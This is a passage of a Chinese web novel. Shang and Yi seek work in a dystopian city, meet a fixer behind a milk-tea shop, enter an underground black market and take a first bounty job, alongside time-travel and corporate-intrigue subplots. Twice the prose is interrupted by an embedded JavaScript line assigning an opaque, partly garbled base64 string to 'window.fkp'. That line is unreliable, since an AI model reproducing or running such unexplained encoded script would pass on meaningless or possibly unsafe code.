走着走着,埃罗他们就走到了一个广场上。刚来到广场周围,他们的目光就被远处的高塔所吸引了。他们走到这个广场上一处开阔的地方驻足观望远处那座高塔。那座高塔屹立于群楼之间,它规模巨大,气势磅礴,一看就是高档区域。它比周围的高楼大厦要高上不少,其他的高楼对于它来说简直就是高个子与小矮子。在这座塔上,有着一个发着白光的巨大图标。这个图标是一条熠熠生辉、威武霸气的中国龙在祥云之上翱翔的样子,底下有四个气势磅礴的大字:龙辉神匠。 埃罗告诉殇和伊,那是太玄国龙辉神匠集团在东玲国东城分部开的分公司,是专门为了带动东城经济而建立的。它的建立,让许多东玲人找到了一份安全的工作。虽然多数是护送车队与货物的保安,其中有些是工匠,但这依旧不妨碍东玲人对这家公司的喜爱。那些保安与工匠,能在这家公司拿到比拼死拼活完成任务得到的更多工资,而且是十分稳定的工资。据说,还有个幸运姑娘有幸成为了东玲国分部副董事长的贴身保镖,天天坐着高级悬浮车跟着副董事长在各分部来回跑,每天忙得要死。 ...... 这时,在天堂岛中殇与墨子邵决战的地方打开了一扇金色的传送门。一道金色的辉光从传送门之中像闪电一样冲出,速度快到在地面上留下了一道很深的印记。那道光很快停了下来,然后在这道光中出现了一个身穿带帽大衣的男人。他手持一根黑色手杖,手杖上面有着精美的齿轮图案。他拿着手杖的姿势很优雅,就像一位绅士一样。他身上的带帽大衣成黑黄配色,大衣后背处还有着一个巨大的齿轮图标。 ???: “额,看样子是到目的地了。” 他左右打量了一番这里,然后他调出时间线的二维全息图,仔细寻找着自己所处的时间点。在片刻的检查过后,他确定自己来对了地方。这时,一个黑发男人从传送门之中走了出来。他拿着一把方天画戟,全神贯注地打量着周围。曾经的记忆接连浮现在他的眼前,一种熟悉的紧张感涌上他的心头。至此,他不禁感叹道: “又回到这里了......熟悉的感觉。” 听到他的声音,那个拿着手杖的男人转头看向他。看到他的到来,那个拿着手杖的男子笑着对他说道: “Loyal,你来了。怎样?看到这个地方感觉熟悉不?” “熟悉。格外熟悉。我的姻缘就是从这里开始的......” “你后悔吗?” “后悔。” “既然你后悔了,那么就抓住这次机会。别在让机会从指尖溜走了。” “明白。无论牺牲什么,我都要挽救他们。” “有这份决心就好。记住,跟紧我。没有我的允许,不要跟任何生物接触,不然会引得‘天神’的注意的。” “知道了,旅者。” 旅者带着Loyal在这里搜寻着蛛丝马迹,他们坚信误导后人的误会点就在这里。很快,这里就被他们彻底搜查完成。除了遍地的碎石与碳灰以外,他们什么也没找到。于是他们按照墨子邵之前在这里的痕迹一路扩大搜索圈,一路搜索到了墨子邵的营地之中。在来到营地的原位置后,旅者和Loyal发觉到了不对劲。这里的帐篷与生活设施没有被撤走,而是原封不动地留在了这里。营地周围的草地也没有任何被压扁的痕迹,也没有人走过的痕迹,这点很是可疑。 旅者: “看来,误会点就在这里啊。” Loyal: “没错。这里的营地本该被王守军和李鹏给收拾带走的,但是这营地却好端端地在这里,其中一定有问题。” 他们两个在营地之中仔细搜索了一圈。营地内的设施没有缺失,帐篷内的床铺与地面都很平整,没有打斗的痕迹,就连有人走过的痕迹都没有,似乎有人故意处理过这里。找着找着,Loyal在帐篷内发现了异常。与之前不同的是,帐篷内放在角落的李鹏、王守军、墨子邵三人的背包离奇消失了。 Loyal: “(疑惑)奇怪?为什么他们要带走背包呢?那背包里明明没有什么有价值的东西。” 突然间,他回想起了一件普通但是很重要的事。为了应对变换莫测的环境,墨子邵的背包里备了一身服装。有这身服装,若加以些许修改,即可成为墨子邵已死亡的证据。若有这份证据,只凭一张口,即可颠倒是非黑白,让殇成为背黑锅的那个人。想到此处,他立刻明白了制造误会的那个人的用意。他心里默默祈祷着现在还为时不晚。然后他将自己的发现告诉了旅者,旅者见到有蛛丝马迹可寻,立马变得有干劲起来。 接着他们以营地为中心开始向外搜索,在苦苦搜索长达十个小时后,功夫不负有心人,他们在荒废植物园内找到了一处有着一丝填埋痕迹的空地。在艰苦挖掘五个小时后,他们挖到了李鹏和王守军已经面目全非的尸体。在这两具尸体旁边,有着一部严重损坏的平板电脑。平板电脑的屏幕在闪烁,屏幕之上赫然有着SoS三个字母,看样子他们曾试着求救。 Loyal: “(震惊)卧槽!想不到原来事实是这样的。我一直都错怪他们两个了,直到他们死在我的手上我也一直错怪着他们。——抱歉,兄弟。” 旅者: “(严肃)这就解释了为什么墨子邵和殇打架的时候他们两个没有出现帮忙了。它们的心里又少了一个疑问......(突然意识到了什么)咳咳......——(微笑)又是一个时间线节点,看样子这次循环比以往的要有意思的多啊。” Loyal: “(气愤)该死的!到底是谁要这么做!为什么要平白无故来毁灭我们的生活?!为什么要去杀死无辜的人?!” 旅者: “不知道啊......也许,他有他的私心与计划吧。无论如何,做这一切的人始终站在我们的对面。” ...... 旅者: “(好奇)话说,我该称呼你们为什么呢?观察者还是干涉者?(郑重)先说一点,这句话是在时间之外的我说出的,不用担心会影响这段故事的发展。(感觉到了什么)额......我说的好像有点多了,我得走了。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第六话:寻找工作 通历43年7月13日,早晨8点,殇缓缓睁开了眼睛,慢慢从床上爬起。他看了看窗外明媚的太阳与热闹但死寂的街道,他明白又到了一天忙碌的开端。殇换上衣柜里的黑色西装,然后推门走出卧室。伊坐在沙发上边看电视,边吃泡面。 殇: “(微笑)早上好,伊。” 见到殇,伊赶忙放下手中的泡面,擦了擦嘴,微笑着对殇打招呼: “早上好,殇。” 跟伊打完招呼后,殇来到了卫生间进行洗漱。他洗了把脸,刮了刮脸上许久没刮的胡子。挂完胡子后,他对着镜中的自己摆了几个帅气的姿势,最后露出满意的笑容后离开了卫生间,来到了客厅与伊一同吃泡面。泡面的味道实属没有热乎的饭菜好吃,但总比什么都吃不到要强。今天电视上的新闻还是那样没有意思,都是一些各国领袖之间的勾心斗角与每天的罪犯处决名单。饭后,殇和伊回到了各自的卧室进行出行前的打扮。在打扮的时候,殇打开了桌子上的收音机。收音机内播报着这座城市的各种信息,以及今天的天气与温度。这些吸引不到殇,于是殇花了几分钟将收音机调到了一个特殊的接收频道,然后属于这个城市的独家电台的声音从收音机中传出。听到这声音,殇满意地点了点头,然后来到衣柜前进行打扮。 电台: “欢迎各位于八点二十分准时收听东城电台,我是你们熟悉的主持人马特·杜特。各位,早上好啊!东城的百姓们,准备好迎接这一天了吗?” 殇整理好着装,来到客厅等待伊出来。片刻之后,伊从她的房间之中走了出来。此刻的伊,穿得还是之前的那身龙辉神匠特定版西服。她的脸上没有一点化妆过的痕迹,她的头发很是整齐,头型还是之前的马尾辫。唯一不同的是,她在自己的头发上加了一个小发卡。 殇: “挺精神啊,伊。走吧,我们该上街去找工作去了。” 伊: “明白了,殇。” 说完,殇和伊带上钥匙离开了公寓。 电台: “生活,很难。每个人都知道这一点。所以说,无论是打工仔还是大老板,都得动起来!想要每天能吃上一口饭,就得好好打工或者被打工。这是规则,每人都懂。但总有人要不懂装懂,所以摔得个遍体鳞伤。” 殇和伊来到了求职中心,他们拿着昨天晚上写好的个人简历来这里求职。他们走遍了各个部门,发现所有的职业都已经人满为患,他们若想来此就职,至少得等到他们前面二百多人拥有职业后才能就业。于是,他们放弃了这条路,转而去街上另寻出路。他们询问了五十多家店铺与二十多家事务所机构,没有一个愿意要他们这两个旅行者。 他们两个找了处长椅坐着休息。他们两个很苦恼,苦恼为什么没有地方要他们两个。伊闷闷不乐地对殇说: “殇,为什么没有人愿意要我们两个呢?是我们两个颜值不够吗?还是说我们两个看上去很没用?” 殇很不屑地回答道: “不。是他们不愿意要跟皇家有关的人,怕摊上责任。通俗来说,就是看我们不顺眼。” “为什么呢?我们又不是臭名昭着的混蛋,也不是无恶不作的坏人。” 听到伊这么说,殇有些尴尬。 “额......这。” 伊反应过来,她明白自己刚刚说错了话,于是赶忙跟殇道歉: “对不起......殇,我刚刚不该那么说的。” 殇摇摇头,告诉伊: “没关系的。反正过去的我就是一个那样的人。我早已习惯了别人这么称呼我,也早已接受了自己是混蛋的事实。” 殇轻轻拍了拍伊的肩膀,安慰了一下闷闷不乐的她。 电台: “这里是座属于梦想的城市,每个人都是逐梦之人。谁还没个梦想,你说对吗?东城的居民们?正因为我们每个人心里都有梦想,所以我们才有使不完的力气去完成每一项工作。” 这时,一个身穿白色兜帽大衣的蓝发男人突然停在了殇他们面前。他似乎刚刚听到了殇和伊的对话,他很好奇地问殇和伊: “请问,你们刚刚说的事是否属实?” 殇没有忌讳,直接回答他: “没错。句句属实。” 听到殇的回答,那人的脸上露出了满意的笑容。他打量了殇一番,他对殇这身健硕的身体感到很满意。而且,他貌似认出了殇的真实身份。不过,他没开口说出来。他微笑着对殇和伊说: “请问你们可否加入我们,跟我们一起工作呢?我保证每天的薪水足以让你们养活自己。” 听到他这么说,殇和伊很是惊讶。伊很惊讶地问他: “真的吗?你刚刚说的是真的吗?” “真的,我很虔诚地邀请你们,没有一点歪心思。” “太好了!我们可以赚钱养活自己了。” 伊的欢呼吸引到了周围人的注意力。见此,伊立马做出收敛。她很不好意思地挠了挠头,脸一下子就红了起来。 “小姐,你不用这么激动的。” “哦......哦,知道了。抱歉,是我失礼了。” 惊讶之余,殇对眼前这个人的动机感到了深深的怀疑,他觉得事情一定没有看上去那么简单。带着警惕,殇问他: “你打算让我们干什么?每天的薪水是多少?你到底是那个协会或者事务所的人?” 面对殇突然问的这三个问题,他有些发懵,但很快他就给出了答案。 “我要你们去奶茶店干活。每天的薪水是12通币,一个月是360通币,不少了已经。我不是什么协会和事务所的人,我只是个想安度大半辈子人生的一个孤寡‘老人’。” 听到他的答复,殇对他的怀疑加深了,但也激起了殇对他身份的好奇。于是,殇点了点头表示同意,然后对他说: “好啊。去买买奶茶也好。——对了,你那奶茶店不会是什么不正经的奶茶店吧?我可不希望我旁边这位小姐穿着女仆装工作。” 听到殇这么说,伊变得有些担心起来。她对殇说: “要是真的跟你说的那样,那我可不干!” 听到殇的话,他托起下巴构思了一下伊穿女仆装的样子,他觉得伊如果真的那么穿一定会很漂亮。但他的店铺不需要那样的人,因为他的店铺只需要平凡。他摇了摇头,神色坚定对殇保证道: “放心,我们的店铺可是很正经的。我们员工都是猛男。” 听到他这么说,殇显得更加担心了。 殇: “听你这么一说,我怎么觉得你那店铺比不正经的那种还危险呢。” ???: “不用担心,那些猛男很听话的。如果他们敢做什么出格的事,我就让他们人间蒸发。” 殇: “好吧好吧,信你一把。正好我和她还没有工作,那么我们就去你的店铺先看看吧。如果可以的话,那就去你们那里工作。” ???: “(微笑)行。走吧,我带你去我的小店看看。它距离这里不远,也就百八十步。” 说完,这个蓝发男人领着殇和伊前往了他的奶茶店。 电台: “这里没有复杂的规则。不论你是英雄好汉,还是贱者混蛋、是街头小子,还是企业员工、是都市猎人,还是通缉要犯。只要你有魄力,有胆识。你就有肉吃,有床睡,有钱花!有句话是怎么说的来着?饿死胆小的,撑死胆大的。” 到了地方,殇和伊发现他的奶茶店看着特别平凡,一点花哨的装饰都没有。招牌上轻描淡写地就写了奶茶店三个字,连店铺的名称的店内的特色都没写。走进店内,殇和伊发现这家奶茶店店内还挺大,店内足足放了十六副座椅。每副座椅都是由寒地木精工打造而成的,光这点,这家奶茶店的档次一下子就提了上来。但与这个档次不符的是,店铺内没有一个顾客,只有两个员工在店铺里闲聊。一个在柜台里面,一个在柜台外面。蓝发男人指向那个柜台里面的员工,说道: “那个银色头发给柜台里面与外面能员工闲聊的是我们前台的工作人员,名叫保罗。是东玲国土生土长的男人,今年28了,没有对象。但他的业务能力很强,起码上班的时候没有一次睡着过。” 这时,殇调侃了一句: “真不明白他是怎么做到在这种情况下不睡觉的。这里明明那么冷清!” 接着,蓝发男人指向那个柜台外的员工,说道: “那个黑头发给柜台外面的是我们的卫生员,俗话说就是扫地的。他叫什红亮,今年29了,有个对象,昨天刚从酒吧认识的。昨晚,两人就已经相互深入一次了。他的业务能力也很强,早晚上下班的时候地都是干干净净的,没有一点灰尘。” 听完他的介绍,伊调侃道: “这年头,这么快吗?是我见识匪浅了。” 听到蓝发男人的声音,那两人立马停止聊天,齐刷刷地转头对蓝发男人问好。 “老板好!” 蓝发男人挥手回应他们两个,然后他们两个回到自己原来的岗位继续工作。蓝发男人领着殇和伊穿过店铺内的桌椅,一路来到了他位于二楼的办公室之中。蓝发男人坐在了办公椅上,然后从抽屉里给殇和伊拿出了两杯珍珠奶茶,同时还给自己也拿了一杯珍珠奶茶。蓝发男人用手示意殇和伊去品尝这两杯珍珠奶茶。为了防止殇和伊不相信自己,他将这三杯奶茶放在一起,以极快地速度打乱顺序,然后挑选其中一杯喝了一大口。看到蓝发男人什么事也没有,殇的警惕之心被打消了一半。为了伊的安全着想,他不能掉以轻心,他始终保持警惕状态。这时,伊拿起一杯奶茶,仔细品尝了一下奶茶的口感。这杯奶茶有些微微的甜,甜度正好处在一个完美的区间,这种口感的奶茶伊还是第一次喝到。伊不禁点头称赞道: “口感很不错!很好喝。” 听到伊如此评价,蓝发男人的脸上浮现出了满意的微笑。见到伊喝了奶茶,殇也不吝啬,拿起奶茶喝了几口。真别说,这味道还真不错,就连殇也要竖起大拇指称赞。 殇: “这口感不错!怎么做的?” 蓝发男人: “(微笑)用心,即可成就一番事业。” 说完,他拿起奶茶喝了一口,然后将手中的奶茶放在了桌子上。这时,他握紧这杯奶茶,然后轻轻往右一转。突然,蓝发男人身后的那面墙中心出现了一条细长的缝隙,接着墙面凹下去了一大块,同时凹下去的那一大块因中心的缝隙而一分为二,然后这两块墙体开始旋转与横移。几秒钟之后,一个通往地下某地点的入口出现在殇和伊的眼前。此刻,蓝发男人站了起来,郑重地向殇和伊介绍自己: “我叫法戈·明,是这个城市最好的中间人。绝大部分大大小小的任务都经过我手来委托别人来处理。你们可以叫我明,因为那是我刚刚干这个活的时候的名字。” 伊: “(惊喜)哇!原来你就是明啊!幸会幸会。” 殇: “(严肃)法戈·明,好名字。所以说,你叫我们来这里不是去你这里帮你买奶茶,而是去完成委托当个跑腿的是吗?” 明: “(摇摇头)不。(微笑)委托是给你们自己接的。而我,只是完成我老朋友与我的约定,带你们来这里而已。但有一说一,你们也可以来我的奶茶店打工,工资我照样给。” 殇: “(好奇)那么,那个入口通向哪里?” 明: “一个荒废的地下商城,又称东城之眼。是所有都市猎人干黑活的地方,也是这座城市唯一一个能够暂时躲避那群管事之人追击的地方。” 殇托起下巴仔细思考了一下,他觉得自己这副身子骨能够去完成委托去赚更多的钱,去养活自己和伊。毕竟对于他这个不善“低头”的顽固分子,战斗是最好的赚钱方式。 伊: “(好奇)我们可以进去看看吗?我从小就听闻有东城之眼这个地方存在,据说那里是各种传奇人物都去过的地方。(激动)磁暴重兵摩多·卡迪斯、处刑者奥尼·瓦伦泰、翌日驻行者塞德拉·福瑞斯、枪械帝王郑祈世清、黑刃杨三刀都去过那里!那里见证了无数传奇的诞生,也见证了无数传奇的落幕!” 明: “(严肃)你们若想踏足这里,必须做好觉悟。一旦踏入东城之眼半步,那你的命运将于这里紧密连接在一起。” 听到法戈·明这个说,伊犹豫了。就在这时,殇已经下定了决心,他准备踏足这片未知领域。不求自己过得怎么好,只求伊能在城市之中吃好穿好。殇向前走了一步,说道: “如果委托可以有的钱赚,那我愿意去接。走吧,你带我去东城之眼看看有没有活能接一下。” 明: “很好。我就知道你有这个魄力。那我们走吧,我带你去接点委托。” 殇: “行。” 伊: “殇,我也要去!” 殇: “你确定吗?伊。我建议你还是别去,我怕到时候出事。毕竟你的身份很特殊。” 明: “哥们。如果你踏入这里,跟你有关系的所有人都要面临一定的风险。这是规则,这座城市的规则。你还要踏足那里吗?各位。” 殇: “(自信)入乡随俗。走吧。” 随后,蓝发男人领着殇和伊走进了那个入口之中。 电台: “但别忘了一件事。在这里,越是风风火火,越容易一夜隐居世外。等待你的,可不是桃花源,而是冰冷的坟地。你知道这世界上的传奇们都在那里打麻将、喝酒吗?在坟地里,地府里。别指望把他们挖出来。他们的坟,早就被人刨了!” 很快,他们就来到了东城之眼。这所谓的东城之眼,就是一个汇聚了各路底层分子的废弃地下商城。商城内很多房间被非法改造成了各式各样的店铺,有卖各种“野性艺术”枪械的野性枪械店、有卖各种违规与不违规药品的药店、有卖二手兵器和一手“野性艺术”兵器的铁匠铺、有酒吧、有饭店、有音乐俱乐部、还有住宿用的简易式旅馆和打拳练武的武馆。虽然这些店铺看上去没有那么光鲜亮丽,但起码还是有基本店铺的样子。废弃地下商城上方的吊灯发着昏暗的光芒,让这里氛围变得有些阴森。 明领着殇和伊在东城之眼的大道上闲逛,带他们充分了解一下东城之眼的构造以及这里的人为人处事,方便殇他们以后常来这里找活做。在简单逛了几圈后,明领着殇和伊来到了一个名为“狂想乐团”的音乐俱乐部的门口。明指着上面的招牌郑重地向殇和伊介绍道: “这里是我为你们推荐的委托接收地。这家俱乐部内能接到最安全最稳妥的委托,而且这里面有着这城市之中最好的中间人,也就是我和我的小弟。如果你们想在这里弹弹吉他,学学音乐,尽管去找我的小弟,别找我。我很忙的!我的小弟叫小明,是个戴蓝色鸭舌帽的潮家伙。跟他说话要注意点,不然我怕你们两个给他摁地上打得他鼻青脸肿。哈哈哈......记得下手轻点。我还有事,我先走了。” 说完,法戈·明转身离开了这里。 殇和伊抬头看了看这上面的招牌,又看了看这家装修还算不错的俱乐部。看起来,这里要比其他的地方要强许多。殇推开大门,和伊一起走了进去。刚进到里面,他们就听到了细腻的吉他声回荡在俱乐部内。此时,俱乐部内站着十多个个身穿黑色西服的男人正驻足聆听着这吉他声。转头一看,一个头戴蓝色鸭舌帽的蓝衣小伙正坐在舞台上的椅子上静静地弹奏着手中的红色吉他。殇伊两人没有打断他的演奏,伊悄悄地关上了俱乐部的门,然后和殇一起站在原地聆听着他的弹奏。他的演奏很有感染力,在台下聆听着的人们无一例外地沉浸在了这细腻的吉他声中。 在大约两分钟后,他完成了他的演奏。同时,台下响起了掌声。他擦了擦额头上的汗水,握紧拳头高声欢呼,为自己而庆祝。 肖小明: “(兴奋)芜湖!终于做到了,完美的演奏!小明,我就知道你一定能做到!” 这时,在台下的人们退散了,只留下殇伊两人。台上的演奏者注意到了殇和伊,他立刻放下手中的吉他,赶忙跑到了殇和伊前面。边跑边张开双臂对殇和伊说: “嘿!酷家伙们,我等你们半天了。” 见到殇和伊,小明很开心,他高兴地用手鼓了鼓掌,无地自容。见到这么个奇葩,伊主动打了个招呼。 “你好!请问,你就是小明先生吧。” 小明双手的食指指着伊,微笑着说道: “没错。在你面前的就是这城市里最好的中间人,肖小明!” “小......小小明?” “哈哈哈,我就知道你会这样说。不只是一个人这么叫过我,很多人都‘战略性’嘴漂了。” 殇: “(有些不耐烦)有话快说,有屁快放!我赶时间。” 小明双手打响指,给殇来了个双手比心。小明微笑着对殇说: “老哥,别那么冷漠吗。大家都是初次见面,都得留个好印象。还有,据我大哥告诉我的消息,你以后可能都得来我这里接委托。你的语气不求比我低,但起码跟我平行吧。你说对吗?老哥。” “也是哈。我以后可能就天天来找你要委托了......” “所以说‘少加点冰,多来点辣椒’,让生活,变得火热起来!” 殇点了点头,回应他: “那倒确实!” 小明咳嗽了两声,接着郑重地对殇伊两人说: “现在,聊些正经的。自我介绍一下,我叫肖小明,生肖的肖。你也可以叫我小小明或者小明。你们两位是我大哥推荐过来的新人,所以我得好好照顾照顾你们这对搭档。——想干接活的街头小子或者都市猎人可不轻松。第一你得足够强大,起码能保护你自己。第二你得会说话,不然容易惹祸上身。怎么样,做得到吗?” 殇霸气地回应道: “少扯没用的,要是做不到,我们还来找你干什么?” 小明鼓了鼓掌,他很佩服殇的勇气。接着他说道: “你们两个是都市猎人吗?还是说就是纯来找工作的无业人士?” 殇: “我们不是是都市猎人。我们是来专门找茬......不,找工作的人。你可以理解为是无业人士。” 小明点了点头,接着说道: “行。既然话都说到这个份上了,那我开始工作了。” 说完,小明领着殇和伊来到了俱乐部的后门。小明推开后门,带着殇和伊穿过门后的走廊,来到了另一头的酒吧之中。来到酒吧之中,小明从酒吧后台给殇和伊拿了两台只能接打电话以及只有一个社交软件能够使用的手机,说是法戈大哥托他交给他们的。殇和伊打开了各自的手机,记了下各自的手机号,以备不时之需。做完这些之后,他们两人的手机上来了一条短信,这条短信是法戈·明发来的。 短信上让伊和殇两人之中留出一人去奶茶店当前台员工,可以领每天固定的薪水,这样做可以保证其中一人的安全。而另一个人,则不能在奶茶店内工作,他要做的,是去东城之眼处理委托。在短信末,法戈·明还附上了一句忠告: “你们二人之间,必须要有一个人保证安全。这是我一个老友的心愿,也是你们自己内心的心愿。我知道你们两人的身份,所以我才会给你们这句忠告。若想在这里活得自由自在、安全安稳,不战斗可不行。不然,就只能等着别人来‘吃掉’你们了。弱肉强食,世界之理。” 看到这份短信后,殇和伊很快做出了决定。伊主动要求留在奶茶店工作,以此来减少殇的担忧和麻烦。殇虽然担心伊,但他出于多方考虑,最后还是同意了。两人的意见达成一致。 电台: “在这里,人不分出身,只看你没有没有胆子走出一条属于你的道了。在这条道上,你总要舍弃些什么。是金钱、亲人、爱情还是友情呢?又或者,是生命呢?” 伊回到了奶茶店。她换上奶茶店的工作服,然后走到了前台,面带微笑地工作。尽管没有几个人来买奶茶。而殇,则在小明的帮助下接到了第一个委托:暴揍人渣格里克夫一顿,并用绳子把他绑起来,打电话给UppF的人让他享受牢狱之灾。殇看到这个委托的内容后,他思索了一下,然后立马打电话给雇主了解了一下事情的原委。 原来,这个格里克夫是个欠了一屁股赌债而被“轮盘”甩到这座城市的一个落魄者。到了这里,他并没有改掉自己的恶习。他靠着抢劫与偷窃,继续做着一夜暴富的白日梦。他的行为惹怒了很多人,其中就包括雇主xxx。为了惩罚这个人渣,雇主xxx才雇佣殇去惩罚这个人渣,想要为自己和其他受害者出一口气。 殇明白了雇主的意思,然后他买了一个白色面具和一条拴狗用的项圈和链子,接着按照雇主给的地址来到了格里克夫经常出没的巷子之中。这条巷子很是黑暗,其中连一盏能发光的灯都没有。此时是下午四点多钟的时候,气温有些炎热。殇看了看巷子内的情况,发现巷子内空无一人。他握紧拳头,走进了这条巷子。突然,一个拿着太刀的黑衣人出现殇的前方。他叫嚣着让殇交出身上所有的钱,威胁殇如果不给就杀了殇。殇没有丝毫害怕,他用一个微笑回应了他的威胁。接着掰了掰手指,轻轻转了转自己的脑袋,表示自己并不是好惹的。那个黑衣人见到殇丝毫没有害怕,他发觉自己貌似惹到了不该惹的人。虽然心有恐惧,但他还是鼓起勇气主动对殇发起了进攻。殇很不屑地摇了摇头,他的攻击在殇眼里没有丝毫威胁科研。没等刀刃碰到殇,殇就一个隼之冲刺将他打飞出去四五米,接着一个冲刺来到他面前以腿刃下劈将他劈倒在地。他可曾见过此等招式?急忙向殇道歉。但他的道歉没有什么用,殇并没有停下攻击。他先夺走了他手中的太刀,然后用扇耳光的方式降服了他。事实上,他就扇了两巴掌,那人就被扇得晕了过去。见此,殇吐槽了一句: “我是不是不该这么做?这里的人貌似没有那些怪物抗打......” 之后,殇将他以拴狗的方式拴在了附近的一根水管上。接着他按照流程给UppF打电话,告诉他们自己抓到了一个坏蛋,同时汇报自己所处的位置。然后他给雇主打了个电话汇报了下情况,告诉雇主目标已经被处理过了。听到这个消息,雇主很开心,他夸奖了殇几句。再然后,殇一直看着格里克夫,防止他逃跑。直到UppF的人到来后,殇才离开了这里。 电台: “先不说这些严肃的问题,让我们先了解下今天的风气吧。今天的风有些大,只有四级,吹不起什么波澜。今天的天气是晴天,不适合‘干活’啊,容易走漏风声,被二五仔们弄得死去活来的。气温不怎么高,才三十三度。真他娘的热啊,我家那个大太阳灶又可以派上用场了。不知道,今天干黑活的那些人该怎么活啊?!高温、晴天再加上不怎么大的风......管事的今天一定会完成月末的冲业绩计划的。好了,今天的消息先播送到这里。这里是马特·杜特,东城的居民们,我们晚上再见。” 殇回到了东城之眼,找到了小明说清楚了情况。小明很高兴,他就知道自己的老哥没看错人。他鼓励了殇几句,接着将委托得来的85%的钱交给了殇。这单忙来忙去只挣到了6.12通币,虽然少,但殇还是开心的。因为这是他人生中挣到的第一笔钱。收下钱后,殇还想接委托。但是小明告诉殇他现在这个阶段只能一天接一个委托,因为他不是都市猎人,这是这里的规定。见此,殇只得放弃这个想法。 ...... 到了下午九点的时候,到了伊下班的时候。伊换下工作服,带着今天的上班实习得到的12通币高高兴兴地走出了奶茶店。这时,她发现殇拿着两份新鲜的盒饭正在门口等着她。伊笑着迎了上去。 “殇,真是麻烦你了。” “麻烦个鬼啊!怎么样?今天这一天干活累不?” “不累。就是当个吉祥物在柜台内看看店面。殇,你今天干活累吗?” “肯定是不累的了。我现在信誉等级不够,一天就只能接一个委托。早在你下班之前,我就已经干完活了。” “行。殇,那我们回家吧。” “好啊,走吧。” 说完,殇和伊就一起迎着晚风与路灯走上了归家之路。在路上,殇跟伊闲聊了几句。 “还有,紧走几步。这俩盒饭是我花五块钱买的,现在还很热乎呢。我怕一会凉了你吃了会闹肚子。” “哦。感谢你帮我买饭,殇。” “谢什么?这都是我该做的。谁叫我摊上了你这个傻姑娘呢?” “说谁傻呢?!我很聪明的好不好!” “哈哈哈......知道了,菜鸡。” “殇,我总有一天会用实力向你证明我不是菜鸡的。” “行。那到时候你就是菜鸟。鸟比鸡强!” “殇!” “哈哈哈哈......好了好了,我不说了。” 结束完一天的忙碌,又到了休息的时间。休息的时光在这里总是短暂的,可以说是片刻之间才可休息一时。躺在床上,闭上双眼,做个好梦,迎接绝望与希望共存的第二天。 ...... 在碧蓝苍穹的办公室之中,碧蓝苍穹正和杰聊着有关悬赏榜的事。碧蓝苍穹觉得这个悬赏榜设置的没有任何意义,想要撤销,所以找来了情报部部长杰来商议此事。 碧蓝苍穹看着电脑上的悬赏榜,一脸疑惑地问杰: “杰,你说这个悬赏榜是不是在骗我们啊?为什么过去这么久了,还没有人能完成这项悬赏呢?难倒是我张贴伊三年前的样子会让那些人认不出来吗?” 杰看着悬赏榜,思索了一会,向碧蓝苍穹解释道: “不,老板。不是照片的事,而是别的方面。自从这个悬赏被贴出,它总是被一股神奇的力量给屏蔽掉。似乎那股力量正在与我们对着干!” “哦?难不成肃清者已经知道了此事!是的,一定是的。因为殇在伊的身边,这悬赏势必会为他们带来危险。一向爱自己老爸的肃清者,一定会出手干预的!你说对吧?杰。” “对!老板所言极是。毕竟悬赏一出,世界的猎人们就都会知晓,那么局势对殇来说就会变得不利。在肃清者眼里,这是对她老爹最大的威胁。因此吗......她肯定护着她爹。” “对!一定是这样。既然如此,那么我们就把悬赏给取消吧!肃清者姐姐很吓人的。我很怕那天会在睡梦中被一拳干碎,那种不明不白的死法会让我的亡魂久久不能安息的。为了你我大家的生命着想,也为了我们这个公司。怎么样?杰。” “双手赞成,老板。” “很好,我与你想法一样。” “对了,老板。还有件事我得跟你说一下......” “什么事?” “据我观察,貌似不需要我们去把伊抓回来。伊和殇的意图很明显,要向着殇王国这边、也就是我们这边赶来。在我看来,与其去耗费心力去捉她,还不如等她送上门来。” “聪明啊!杰。我都没想到这些。好!就按你说的做。我们守株待兔,等着她回来!” “还有,老板。伊的安全你不用担心。有殇在伊身旁,就是神来了,也夺不走伊的命。想想上次的红色收尾人以及墨子邵,都是殇的手下败将。” “嗯.....你考虑的很周到。” “必须的!老板。为了公司的未来,多着想几分是不错的。” “好!有你这份心好极了!” 两人对视一眼,都开心地笑了出来。悬赏随后取消,但这不代表殇和伊接下来的日子会太平。一份悬赏的取消,将会带来另一份悬赏的设立。距离和平的日子还有很长一段时间...... ...... 宙级洪流: “(忧郁)我的王啊,不知道我还能否与你相见。宙级洪流钟只能再支持一次时间循环了,如果这次你还是未能找到最好的办法,那么我们也只能够迎接毁灭的到来了。(好奇)你还记得那个能与无垠武士零建立链接的女武神吗?她的另一形态来找过我了,她也对我们的未来感到担忧。但无论如何,我始终相信你。相信你能为我们带来光明,哪怕只有一瞬间的光明。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第七话:清理行动(上) 通历43年7月14日凌晨3点,在东城漆黑且寂静的巷子中,骇人的黑暗笼罩每个巷子之中。这黑暗如深渊一般,深不见底。若是凝望它,它便会将其吞入其中。巷子内弥漫着诡异的气味,生命的气息在这里飘散。阴霾笼罩,群影蠕动。就在这巷子的深处,一群身穿诡异制服的朋克人正在拿着弯钩与锯齿刀的人正在狩猎。他们是东城黑暗处的梦魇,是所有夜行者难以忘记的噩梦,是这座城市的血腥滤网。任何不该再继续存在的人们,都该被他们所清理掉。当太阳再次升起的时候,他们便会隐退到黑暗之中,等待下一次黑夜的到来。同时,有些人将不会再次出现在这个世界上,就连痕迹也不会留下。他们的名字叫做清理者,来自一个名为“囚渊”的帮派。他们是末世城市生态体系之中的分解者,在灰色的海洋之中寻找着猎物。 